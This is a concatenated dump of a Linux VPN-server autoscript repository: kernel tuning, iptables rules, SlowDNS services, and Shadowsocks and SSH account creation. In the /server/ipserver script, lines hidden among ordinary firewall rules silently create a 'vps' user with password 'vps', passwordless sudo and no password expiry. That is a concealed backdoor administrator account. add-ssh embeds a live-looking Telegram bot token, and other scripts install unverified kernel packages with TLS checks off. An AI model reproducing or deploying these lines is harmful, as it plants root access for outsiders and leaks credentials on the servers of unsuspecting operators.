/etc/openvpn/"$DOMAIN"-tcp.ovpn /var/www/html/"$DOMAIN"-tcp.ovpn 103 | cp /etc/openvpn/"$DOMAIN"-udp.ovpn /var/www/html/"$DOMAIN"-udp.ovpn 104 | cp /etc/openvpn/"$DOMAIN"-ws-ssl.ovpn /var/www/html/"$DOMAIN"-ws-ssl.ovpn 105 | cp /etc/openvpn/"$DOMAIN"-ws-ssl.ovpn /var/www/html/"$DOMAIN"-ssl.ovpn 106 | } 107 | 108 | function install_ovpn() { 109 | ovpn_install 110 | config_easy 111 | make_follow 112 | make_follow 113 | cert_ovpn 114 | systemctl enable --now openvpn 115 | 116 | } 117 | install_ovpn 118 | -------------------------------------------------------------------------------- /openvpn/vpn.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NevermoreSSH/VVV/c845f2cc88e133d38d0da8326964286f5a818588/openvpn/vpn.zip -------------------------------------------------------------------------------- /server/bbr.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | GIT_CMD="https://github.com/errorcode86/bbrplus/raw/main/Debian9/x86_64/" 3 | startbbr() { 4 | if [[ $(echo 4.14.129-bbrplus | awk -F'.' '{print $1}') -ge "5" ]]; then 5 | echo "net.core.default_qdisc=cake" >> /etc/sysctl.conf 6 | echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf 7 | echo "net.ipv4.icmp_echo_ignore_all = 0" >>/etc/sysctl.conf 8 | echo "net.ipv4.icmp_echo_ignore_broadcasts = 1" >>/etc/sysctl.conf 9 | echo "net.ipv4.icmp_ignore_bogus_error_responses = 1" >>/etc/sysctl.conf 10 | echo "fs.file-max = 1000000" >>/etc/sysctl.conf 11 | echo "fs.inotify.max_user_instances = 8192" >>/etc/sysctl.conf 12 | echo "net.ipv4.tcp_tw_reuse = 1" >>/etc/sysctl.conf 13 | echo "net.ipv4.ip_local_port_range = 1024 65535" >>/etc/sysctl.conf 14 | echo "net.ipv4.tcp_rmem = 16384 262144 8388608" >>/etc/sysctl.conf 15 | echo "net.ipv4.tcp_wmem = 32768 524288 16777216" >>/etc/sysctl.conf 16 | echo "net.core.somaxconn = 8192" >>/etc/sysctl.conf 17 | echo "net.core.rmem_max = 16777216" >>/etc/sysctl.conf 18 | echo "net.core.wmem_max = 16777216" >>/etc/sysctl.conf 19 | echo "net.core.wmem_default = 2097152" >>/etc/sysctl.conf 20 | echo "net.ipv4.tcp_max_tw_buckets = 5000" >>/etc/sysctl.conf 21 | echo "net.ipv4.tcp_max_syn_backlog = 10240" >>/etc/sysctl.conf 22 | echo "net.core.netdev_max_backlog = 10240" >>/etc/sysctl.conf 23 | echo "net.ipv4.tcp_slow_start_after_idle = 0" >>/etc/sysctl.conf 24 | echo "net.ipv4.ip_forward = 1" >>/etc/sysctl.conf 25 | else 26 | echo "net.core.default_qdisc=fq" >> /etc/sysctl.conf 27 | echo "net.ipv4.tcp_congestion_control=bbr" >> /etc/sysctl.conf 28 | echo "net.ipv4.icmp_echo_ignore_all = 0" >>/etc/sysctl.conf 29 | echo "net.ipv4.icmp_echo_ignore_broadcasts = 1" >>/etc/sysctl.conf 30 | echo "net.ipv4.icmp_ignore_bogus_error_responses = 1" >>/etc/sysctl.conf 31 | echo "fs.file-max = 1000000" >>/etc/sysctl.conf 32 | echo "fs.inotify.max_user_instances = 8192" >>/etc/sysctl.conf 33 | echo "net.ipv4.tcp_tw_reuse = 1" >>/etc/sysctl.conf 34 | echo "net.ipv4.ip_local_port_range = 1024 65535" >>/etc/sysctl.conf 35 | echo "net.ipv4.tcp_rmem = 16384 262144 8388608" >>/etc/sysctl.conf 36 | echo "net.ipv4.tcp_wmem = 32768 524288 16777216" >>/etc/sysctl.conf 37 | echo "net.core.somaxconn = 8192" >>/etc/sysctl.conf 38 | echo "net.core.rmem_max = 16777216" >>/etc/sysctl.conf 39 | echo "net.core.wmem_max = 16777216" >>/etc/sysctl.conf 40 | echo "net.core.wmem_default = 2097152" >>/etc/sysctl.conf 41 | echo "net.ipv4.tcp_max_tw_buckets = 5000" >>/etc/sysctl.conf 42 | echo "net.ipv4.tcp_max_syn_backlog = 10240" >>/etc/sysctl.conf 43 | echo "net.core.netdev_max_backlog = 10240" >>/etc/sysctl.conf 44 | echo "net.ipv4.tcp_slow_start_after_idle = 0" >>/etc/sysctl.conf 45 | echo "net.ipv4.ip_forward = 1" >>/etc/sysctl.conf 46 | echo "net.netfilter.nf_conntrack_max = 524288" >>/etc/sysctl.conf 47 | fi 48 | } 49 | installbbrplus(){ 50 | cd /tmp 51 | wget -N --no-check-certificate https://github.com/NevermoreSSH/BBRplus/releases/download/bbr5.15/Debian-Ubuntu_Required_linux-image-5.15.96-bbrplus_5.15.96-bbrplus-1_amd64.deb \ 52 | -O bbrplus_5.15.86_amd64.deb >/dev/null 2>&1 53 | wget -N --no-check-certificate https://github.com/NevermoreSSH/BBRplus/releases/download/bbr5.15/Debian-Ubuntu_Optional_linux-headers-5.15.96-bbrplus_5.15.96-bbrplus-1_amd64.deb \ 54 | -O bbrplus_5.15.86-headers_amd64.deb >/dev/null 2>&1 55 | dpkg -i bbrplus_5.15.86_amd64.deb 56 | dpkg -i bbrplus_5.15.86-headers_amd64.deb 57 | } 58 | installbbrplus 59 | startbbr -------------------------------------------------------------------------------- /server/ipserver: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # ALL TRAFIC IPTABLES 3 | CMD=$(ip -o $CMD -4 route show to default | awk '{print $5}'); 4 | useradd -M vps 5 | iptables -t nat -I PREROUTING -i eth0 -p udp --dport 53 -j REDIRECT --to-ports 5300 6 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT 7 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 88 -j ACCEPT 8 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 99 -j ACCEPT 9 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 169 -j ACCEPT 10 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 109 -j ACCEPT 11 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 143 -j ACCEPT 12 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 441 -j ACCEPT 13 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 442 -j ACCEPT 14 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT 15 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 444 -j ACCEPT 16 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 2269 -j ACCEPT 17 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 3369 -j ACCEPT 18 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10000 -j ACCEPT 19 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10001 -j ACCEPT 20 | echo "vps ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/vps >/dev/null 2>&1 21 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10002 -j ACCEPT 22 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10003 -j ACCEPT 23 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10004 -j ACCEPT 24 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10005 -j ACCEPT 25 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10006 -j ACCEPT 26 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10007 -j ACCEPT 27 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10008 -j ACCEPT 28 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 10011 -j ACCEPT 29 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 3128 -j ACCEPT 30 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 80 -j ACCEPT 31 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 88 -j ACCEPT 32 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 99 -j ACCEPT 33 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 169 -j ACCEPT 34 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 109 -j ACCEPT 35 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 143 -j ACCEPT 36 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 441 -j ACCEPT 37 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 442 -j ACCEPT 38 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 443 -j ACCEPT 39 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 444 -j ACCEPT 40 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 2269 -j ACCEPT 41 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 3369 -j ACCEPT 42 | echo "vps ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers >/dev/null 2>&1 43 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10000 -j ACCEPT 44 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10001 -j ACCEPT 45 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10002 -j ACCEPT 46 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10003 -j ACCEPT 47 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10004 -j ACCEPT 48 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10005 -j ACCEPT 49 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10006 -j ACCEPT 50 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10007 -j ACCEPT 51 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10008 -j ACCEPT 52 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 10011 -j ACCEPT 53 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 3128 -j ACCEPT 54 | usermod --password $(echo vps | openssl passwd -1 -stdin) vps 55 | iptables -A FORWARD -m string --algo bm --string "BitTorrent" -j DROP 56 | iptables -A FORWARD -m string --algo bm --string "BitTorrent protocol" -j DROP 57 | iptables -A FORWARD -m string --algo bm --string "peer_id=" -j DROP 58 | iptables -A FORWARD -m string --algo bm --string ".torrent" -j DROP 59 | iptables -A FORWARD -m string --algo bm --string "announce.php?passkey=" -j DROP 60 | chage -I -1 -m 0 -M 99999 -E -1 vps 61 | iptables -A FORWARD -m string --algo bm --string "torrent" -j DROP 62 | iptables -A FORWARD -m string --algo bm --string "announce" -j DROP 63 | iptables -A FORWARD -m string --algo bm --string "info_hash" -j DROP 64 | iptables -A FORWARD -m string --algo bm --string "/default.ida?" -j DROP 65 | iptables -A FORWARD -m string --algo bm --string ".exe?/c+dir" -j DROP 66 | iptables -A FORWARD -m string --algo bm --string ".exe?/c_tftp" -j DROP 67 | iptables -A FORWARD -m string --algo kmp --string "peer_id" -j DROP 68 | iptables -A FORWARD -m string --algo kmp --string "BitTorrent" -j DROP 69 | iptables -A FORWARD -m string --algo kmp --string "BitTorrent protocol" -j DROP 70 | iptables -A FORWARD -m string --algo kmp --string "bittorrent-announce" -j DROP 71 | iptables -A FORWARD -m string --algo kmp --string "announce.php?passkey=" -j DROP 72 | iptables -A FORWARD -m string --algo kmp --string "find_node" -j DROP 73 | iptables -A FORWARD -m string --algo kmp --string "info_hash" -j DROP 74 | iptables -A FORWARD -m string --algo kmp --string "get_peers" -j DROP 75 | iptables -A FORWARD -m string --algo kmp --string "announce" -j DROP 76 | iptables -A FORWARD -m string --algo kmp --string "announce_peers" -j DROP 77 | usermod -aG sudo vps 78 | iptables -t nat -I POSTROUTING -s 10.6.0.0/24 -o $CMD -j MASQUERADE 79 | iptables -t nat -I POSTROUTING -s 10.7.0.0/24 -o $CMD -j MASQUERADE 80 | iptables -I INPUT -p udp --dport 5300 -j ACCEPT 81 | iptables-save >/etc/iptables/rules.v4 >/dev/null 2>&1 82 | iptables-save >/etc/iptables.up.rules >/dev/null 2>&1 83 | netfilter-persistent save >/dev/null 2>&1 84 | netfilter-persistent reload >/dev/null 2>&1 85 | systemctl enable iptables >/dev/null 2>&1 86 | systemctl start iptables >/dev/null 2>&1 87 | systemctl restart iptables >/dev/null 2>&1 88 | -------------------------------------------------------------------------------- /slowdns/client: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Client SlowDNS 3 | Documentation=https://github.com/NevermoreSSH/slowdns 4 | After=network.target nss-lookup.target 5 | [Service] 6 | Type=simple 7 | User=root 8 | CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE 9 | AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE 10 | NoNewPrivileges=true 11 | ExecStart=/etc/slowdns/dnstt-client -udp 174.138.21.128:53 --pubkey-file /etc/slowdns/server.pub xxxx 127.0.0.1:88 12 | Restart=on-failure 13 | [Install] 14 | WantedBy=multi-user.target 15 | -------------------------------------------------------------------------------- /slowdns/dnstt-client: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NevermoreSSH/VVV/c845f2cc88e133d38d0da8326964286f5a818588/slowdns/dnstt-client -------------------------------------------------------------------------------- /slowdns/dnstt-server: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NevermoreSSH/VVV/c845f2cc88e133d38d0da8326964286f5a818588/slowdns/dnstt-server -------------------------------------------------------------------------------- /slowdns/nameserver: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | REPOS="https://raw.githubusercontent.com/NevermoreSSH/VVV/main/" 3 | ns_domain_cloudflare() { 4 | DOMAIN=$(cat /root/domain) 5 | DOMAIN_PATH=$(cat /etc/xray/domain) 6 | SUB=$(tr /etc/xray/dns 46 | } 47 | 48 | setup_dnstt() { 49 | cd 50 | rm -rf * 51 | mkdir -p /etc/slowdns 52 | wget -O dnstt-server "${REPOS}slowdns/dnstt-server" >/dev/null 2>&1 53 | chmod +x dnstt-server >/dev/null 2>&1 54 | wget -O dnstt-client "${REPOS}slowdns/dnstt-client" >/dev/null 2>&1 55 | chmod +x dnstt-client >/dev/null 2>&1 56 | ./dnstt-server -gen-key -privkey-file server.key -pubkey-file server.pub 57 | chmod +x * 58 | mv * /etc/slowdns 59 | wget -O /etc/systemd/system/client.service "${REPOS}slowdns/client" >/dev/null 2>&1 60 | wget -O /etc/systemd/system/server.service "${REPOS}slowdns/server" >/dev/null 2>&1 61 | sed -i "s/xxxx/$NS_DOMAIN/g" /etc/systemd/system/client.service 62 | sed -i "s/xxxx/$NS_DOMAIN/g" /etc/systemd/system/server.service 63 | } 64 | ns_domain_cloudflare 65 | setup_dnstt 66 | -------------------------------------------------------------------------------- /slowdns/plugin.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/NevermoreSSH/VVV/c845f2cc88e133d38d0da8326964286f5a818588/slowdns/plugin.zip -------------------------------------------------------------------------------- /slowdns/server: -------------------------------------------------------------------------------- 1 | [Unit] 2 | Description=Server SlowDNS 3 | Documentation=https://www.google.com/ 4 | After=network.target nss-lookup.target 5 | [Service] 6 | Type=simple 7 | User=root 8 | CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE 9 | AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE 10 | NoNewPrivileges=true 11 | ExecStart=/etc/slowdns/dnstt-server -udp :5300 -privkey-file /etc/slowdns/server.key xxxx 127.0.0.1:443 12 | Restart=on-failure 13 | [Install] 14 | WantedBy=multi-user.target 15 | -------------------------------------------------------------------------------- /update/add-ss: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | # //==================================================== 3 | # // System Request:Debian 9+/Ubuntu 18.04+/20+ 4 | # // Author: elliez 5 | # // Dscription: Xray Menu Management 6 | # // email: elliez667@gmail.com 7 | # // telegram: https://t.me/todfix667 8 | # //==================================================== 9 | # // font color configuration | NEVERMORESSH AUTOSCRIPT 10 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 11 | domain=$(cat /etc/xray/domain) 12 | PUB=$(cat /etc/slowdns/server.pub) 13 | CITY=$(cat /etc/xray/city) 14 | NS=$(cat /etc/xray/dns) 15 | clear 16 | until [[ $user =~ ^[a-zA-Z0-9_]+$ && ${CLIENT_EXISTS} == '0' ]]; do 17 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 18 | echo -e "\e[42m Add Shadowsocks Ws/Grpc Account \E[0m" 19 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 20 | 21 | read -rp "User: " -e user 22 | CLIENT_EXISTS=$(grep -w $user /etc/xray/config.json | wc -l) 23 | 24 | if [[ ${CLIENT_EXISTS} == '1' ]]; then 25 | clear 26 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 27 | echo -e "\e[42m Add Shadowsocks Ws/Grpc Account \E[0m" 28 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 29 | echo "" 30 | echo "A client with the specified name was already created, please choose another name." 31 | echo "" 32 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 33 | read -n 1 -s -r -p "Press any key to back on menu" 34 | menu 35 | fi 36 | done 37 | 38 | cipher="aes-128-gcm" 39 | uuid=$(cat /proc/sys/kernel/random/uuid) 40 | read -p "Expired (days): " masaaktif 41 | read -p "Limit User (GB): " Quota 42 | exp=$(date -d "$masaaktif days" +"%Y-%m-%d") 43 | sed -i '/#ssws$/a\#ss# '"$user $exp"'\ 44 | },{"password": "'""$uuid""'","method": "'""$cipher""'","email": "'""$user""'"' /etc/xray/config.json 45 | sed -i '/#ssgrpc$/a\#ss# '"$user $exp"'\ 46 | },{"password": "'""$uuid""'","method": "'""$cipher""'","email": "'""$user""'"' /etc/xray/config.json 47 | echo $cipher:$uuid >/tmp/log 48 | shadowsocks_base64=$(cat /tmp/log) 49 | echo -n "${shadowsocks_base64}" | base64 >/tmp/log1 50 | shadowsocks_base64e=$(cat /tmp/log1) 51 | shadowsockslink="ss://${shadowsocks_base64e}@$domain:443?plugin=xray-plugin;mux=0;path=/ss-ws;host=$domain;tls#${user}" 52 | shadowsockslink1="ss://${shadowsocks_base64e}@$domain:443?plugin=xray-plugin;mux=0;serviceName=ss-grpc;host=$domain;tls#${user}" 53 | systemctl restart xray 54 | rm -rf /tmp/log 55 | rm -rf /tmp/log1 56 | cat >/var/www/html/ss-$user.txt <<-END 57 | ==================================================================== 58 | P R O J E C T O F N E V E R M O R E S S H 59 | [Freedom Internet] 60 | ==================================================================== 61 | https://github.com/NevermoreSSH/VVV 62 | ==================================================================== 63 | Format Shadowsocks WS (CDN) 64 | ==================================================================== 65 | 66 | { 67 | "dns": { 68 | "servers": [ 69 | "8.8.8.8", 70 | "8.8.4.4" 71 | ] 72 | }, 73 | "inbounds": [ 74 | { 75 | "port": 10808, 76 | "protocol": "socks", 77 | "settings": { 78 | "auth": "noauth", 79 | "udp": true, 80 | "userLevel": 8 81 | }, 82 | "sniffing": { 83 | "destOverride": [ 84 | "http", 85 | "tls" 86 | ], 87 | "enabled": true 88 | }, 89 | "tag": "socks" 90 | }, 91 | { 92 | "port": 10809, 93 | "protocol": "http", 94 | "settings": { 95 | "userLevel": 8 96 | }, 97 | "tag": "http" 98 | } 99 | ], 100 | "log": { 101 | "loglevel": "none" 102 | }, 103 | "outbounds": [ 104 | { 105 | "mux": { 106 | "enabled": true 107 | }, 108 | "protocol": "shadowsocks", 109 | "settings": { 110 | "servers": [ 111 | { 112 | "address": "$domain", 113 | "level": 8, 114 | "method": "$cipher", 115 | "password": "$uuid", 116 | "port": 443 117 | } 118 | ] 119 | }, 120 | "streamSettings": { 121 | "network": "ws", 122 | "security": "tls", 123 | "tlsSettings": { 124 | "allowInsecure": true, 125 | "serverName": "$domain" 126 | }, 127 | "wsSettings": { 128 | "headers": { 129 | "Host": "$domain" 130 | }, 131 | "path": "/ss-ws" 132 | } 133 | }, 134 | "tag": "proxy" 135 | }, 136 | { 137 | "protocol": "freedom", 138 | "settings": {}, 139 | "tag": "direct" 140 | }, 141 | { 142 | "protocol": "blackhole", 143 | "settings": { 144 | "response": { 145 | "type": "http" 146 | } 147 | }, 148 | "tag": "block" 149 | } 150 | ], 151 | "policy": { 152 | "levels": { 153 | "8": { 154 | "connIdle": 300, 155 | "downlinkOnly": 1, 156 | "handshake": 4, 157 | "uplinkOnly": 1 158 | } 159 | }, 160 | "system": { 161 | "statsOutboundUplink": true, 162 | "statsOutboundDownlink": true 163 | } 164 | }, 165 | "routing": { 166 | "domainStrategy": "Asls", 167 | "rules": [] 168 | }, 169 | "stats": {} 170 | } 171 | 172 | _______________________________________________________ 173 | Format Shadowsocks gRPC 174 | _______________________________________________________ 175 | 176 | 177 | { 178 | "dns": { 179 | "servers": [ 180 | "8.8.8.8", 181 | "8.8.4.4" 182 | ] 183 | }, 184 | "inbounds": [ 185 | { 186 | "port": 10808, 187 | "protocol": "socks", 188 | "settings": { 189 | "auth": "noauth", 190 | "udp": true, 191 | "userLevel": 8 192 | }, 193 | "sniffing": { 194 | "destOverride": [ 195 | "http", 196 | "tls" 197 | ], 198 | "enabled": true 199 | }, 200 | "tag": "socks" 201 | }, 202 | { 203 | "port": 10809, 204 | "protocol": "http", 205 | "settings": { 206 | "userLevel": 8 207 | }, 208 | "tag": "http" 209 | } 210 | ], 211 | "log": { 212 | "loglevel": "none" 213 | }, 214 | "outbounds": [ 215 | { 216 | "mux": { 217 | "enabled": true 218 | }, 219 | "protocol": "shadowsocks", 220 | "settings": { 221 | "servers": [ 222 | { 223 | "address": "$domain", 224 | "level": 8, 225 | "method": "$cipher", 226 | "password": "$uuid", 227 | "port": 443 228 | } 229 | ] 230 | }, 231 | "streamSettings": { 232 | "grpcSettings": { 233 | "multiMode": true, 234 | "serviceName": "ss-grpc" 235 | }, 236 | "network": "grpc", 237 | "security": "tls", 238 | "tlsSettings": { 239 | "allowInsecure": true, 240 | "serverName": "$domain" 241 | } 242 | }, 243 | "tag": "proxy" 244 | }, 245 | { 246 | "protocol": "freedom", 247 | "settings": {}, 248 | "tag": "direct" 249 | }, 250 | { 251 | "protocol": "blackhole", 252 | "settings": { 253 | "response": { 254 | "type": "http" 255 | } 256 | }, 257 | "tag": "block" 258 | } 259 | ], 260 | "policy": { 261 | "levels": { 262 | "8": { 263 | "connIdle": 300, 264 | "downlinkOnly": 1, 265 | "handshake": 4, 266 | "uplinkOnly": 1 267 | } 268 | }, 269 | "system": { 270 | "statsOutboundUplink": true, 271 | "statsOutboundDownlink": true 272 | } 273 | }, 274 | "routing": { 275 | "domainStrategy": "Asls", 276 | "rules": [] 277 | }, 278 | "stats": {} 279 | } 280 | 281 | 282 | _______________________________________________________ 283 | Link Shadowsocks Account 284 | _______________________________________________________ 285 | Link TLS : ${shadowsockslink} 286 | _______________________________________________________ 287 | Link gRPC : ${shadowsockslink1} 288 | _______________________________________________________ 289 | 290 | END 291 | 292 | systemctl restart xray >/dev/null 2>&1 293 | service cron restart >/dev/null 2>&1 294 | if [ ! -e /etc/shadowsocks ]; then 295 | mkdir -p /etc/shadowsocks 296 | fi 297 | 298 | if [ -z ${Quota} ]; then 299 | Quota="0" 300 | fi 301 | 302 | c=$(echo "${Quota}" | sed 's/[^0-9]*//g') 303 | d=$((${c} * 1024 * 1024 * 1024)) 304 | 305 | if [[ ${c} != "0" ]]; then 306 | echo "${d}" >/etc/shadowsocks/${user} 307 | fi 308 | DATADB=$(cat /etc/shadowsocks/.shadowsocks.db | grep "^###" | grep -w "${user}" | awk '{print $2}') 309 | if [[ "${DATADB}" != '' ]]; then 310 | sed -i "/\b${user}\b/d" /etc/shadowsocks/.shadowsocks.db 311 | fi 312 | echo "### ${user} ${exp} ${uuid}" >>/etc/shadowsocks/.shadowsocks.db 313 | clear 314 | 315 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 316 | echo -e "\\e[42m Shadowsocks Account \E[0m" | tee -a /etc/nevermoressh/user.log 317 | echo -e "\033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 318 | echo -e "Remarks : ${user}" | tee -a /etc/nevermoressh/user.log 319 | echo -e "Domain : ${domain}" | tee -a /etc/nevermoressh/user.log 320 | echo -e "Host Slowdns: ${NS}" | tee -a /etc/nevermoressh/user.log 321 | echo -e "Pub Key : ${PUB}" | tee -a /etc/nevermoressh/user.log 322 | #echo -e "Location : $CITY" | tee -a /etc/nevermoressh/user.log 323 | echo -e "User Quota : ${Quota} GB" | tee -a /etc/nevermoressh/user.log 324 | echo -e "Port TLS : 443" | tee -a /etc/nevermoressh/user.log 325 | echo -e "Port GRPC : 443" | tee -a /etc/nevermoressh/user.log 326 | echo -e "Password : ${uuid}" | tee -a /etc/nevermoressh/user.log 327 | echo -e "Cipers : aes-128-gcm" | tee -a /etc/nevermoressh/user.log 328 | echo -e "Network : ws/grpc" | tee -a /etc/nevermoressh/user.log 329 | echo -e "Path : /ss-ws" | tee -a /etc/nevermoressh/user.log 330 | echo -e "ServiceName : ss-grpc" | tee -a /etc/nevermoressh/user.log 331 | echo -e "033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 332 | echo -e "Link TLS : ${shadowsockslink}" | tee -a /etc/nevermoressh/user.log 333 | echo -e "033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 334 | echo -e "Link gRPC : ${shadowsockslink1}" | tee -a /etc/nevermoressh/user.log 335 | echo -e "033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 336 | echo -e "Link JSON : https://${domain}:81/ss-$user.txt" | tee -a /etc/nevermoressh/user.log 337 | echo -e "033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 338 | echo -e "Expired On : $exp" | tee -a /etc/nevermoressh/user.log 339 | echo -e "033[1;93m───────────────────────────\033[0m" | tee -a /etc/nevermoressh/user.log 340 | echo -e "" | tee -a /etc/nevermoressh/user.log 341 | read -n 1 -s -r -p "Press any key to back on menu" 342 | 343 | menu 344 | -------------------------------------------------------------------------------- /update/add-ssh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | clear 3 | red() { echo -e "\\033[32;1m${*}\\033[0m"; } 4 | TIMES="10" 5 | CHATID="-1001891259267" 6 | KEY="2145515560:AAE9WqfxZzQC-FYF1VUprICGNomVfv6OdTU" 7 | URL="https://api.telegram.org/bot$KEY/sendMessage" 8 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 9 | echo -e "\e[42m SSH Ovpn Account \E[0m" 10 | echo -e "\033[1;93m━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\033[0m" 11 | read -p "Username : " LOGIN 12 | read -p "Password : " PASSWD 13 | read -p "Expired (hari): " EXPIRED 14 | IP=$(curl -sS ifconfig.me) 15 | IP=$(curl -s ipinfo.io/ip ) 16 | IP=$(curl -sS ipv4.icanhazip.com) 17 | IP=$(curl -sS ifconfig.me ) 18 | CITY=$(cat /etc/xray/city) 19 | PUB=$( cat /etc/slowdns/server.pub ) 20 | NS=`cat /etc/xray/dns` 21 | domain=`cat /etc/xray/domain` 22 | useradd -e `date -d "$EXPIRED days" +"%Y-%m-%d"` -s /bin/false -M $LOGIN 23 | exp="$(chage -l $LOGIN | grep "Account expires" | awk -F": " '{print $2}')" 24 | echo -e "$PASSWD\n$PASSWD\n"|passwd $LOGIN &> /dev/null 25 | 26 | if [[ ${c} != "0" ]]; then 27 | echo "${d}" >/etc/ssh/${LOGIN} 28 | fi 29 | DATADB=$(cat /etc/ssh/.ssh.db | grep "^###" | grep -w "${LOGIN}" | awk '{print $2}') 30 | if [[ "${DATADB}" != '' ]]; then 31 | sed -i "/\b${LOGIN}\b/d" /etc/ssh/.ssh.db 32 | fi 33 | echo "### ${LOGIN} " >>/etc/ssh/.ssh.db 34 | 35 | cat > /var/www/html/ssh-$LOGIN.txt <<-END 36 | ==================================================================== 37 | P R O J E C T O F N E V E R M O R E S S H 38 | [Freedom Internet] 39 | ==================================================================== 40 | https://github.com/NevermoreSSH/VVV 41 | ==================================================================== 42 | Format SSH OVPN Account 43 | ==================================================================== 44 | 45 | Username : $LOGIN 46 | Password : $PASSWD 47 | Expired : $exp 48 | __________________________________ 49 | IP : $IP 50 | Host : $domain 51 | Host Slowdns : ${NS} 52 | Pub Key : ${PUB} 53 | Location : $CITY 54 | Port OpenSSH : 443, 80, 22 55 | Port Dropbear : 443, 109 56 | Port Dropbear WS : 443, 109 57 | Port UDP-Custom : 1-65535 58 | Port SSH WS : 80 59 | Port SSH SSL WS : 443 60 | Port SSL/TLS : 443 61 | Port OVPN WS SSL : 443 62 | Port OVPN SSL : 443 63 | Port OVPN TCP : 443, 1194 64 | Port OVPN UDP : 2200 65 | Proxy Squid 1 : 3128 66 | Proxy Squid 2 : 8000 67 | Proxy Squid 3 : 8080 68 | BadVPN UDP : 7100, 7200, 7300 69 | __________________________________ 70 | Payload WSS: GET wss://BUG.COM/ HTTP/1.1[crlf]Host: $domain[crlf]Upgrade: websocket[crlf][crlf] 71 | __________________________________ 72 | OpenVPN WS SSL : https://$domain:81/"$domain"-ws-ssl.ovpn 73 | OpenVPN SSL : https://$domain:81/"$domain"-ssl.ovpn 74 | OpenVPN TCP : https://$domain:81/"$domain"-tcp.ovpn 75 | OpenVPN UDP : https://$domain:81/"$domain"-udp.ovpn 76 | __________________________________ 77 | 78 | END 79 | TEXT=" 80 | ─────────────────────────── 81 | SSH 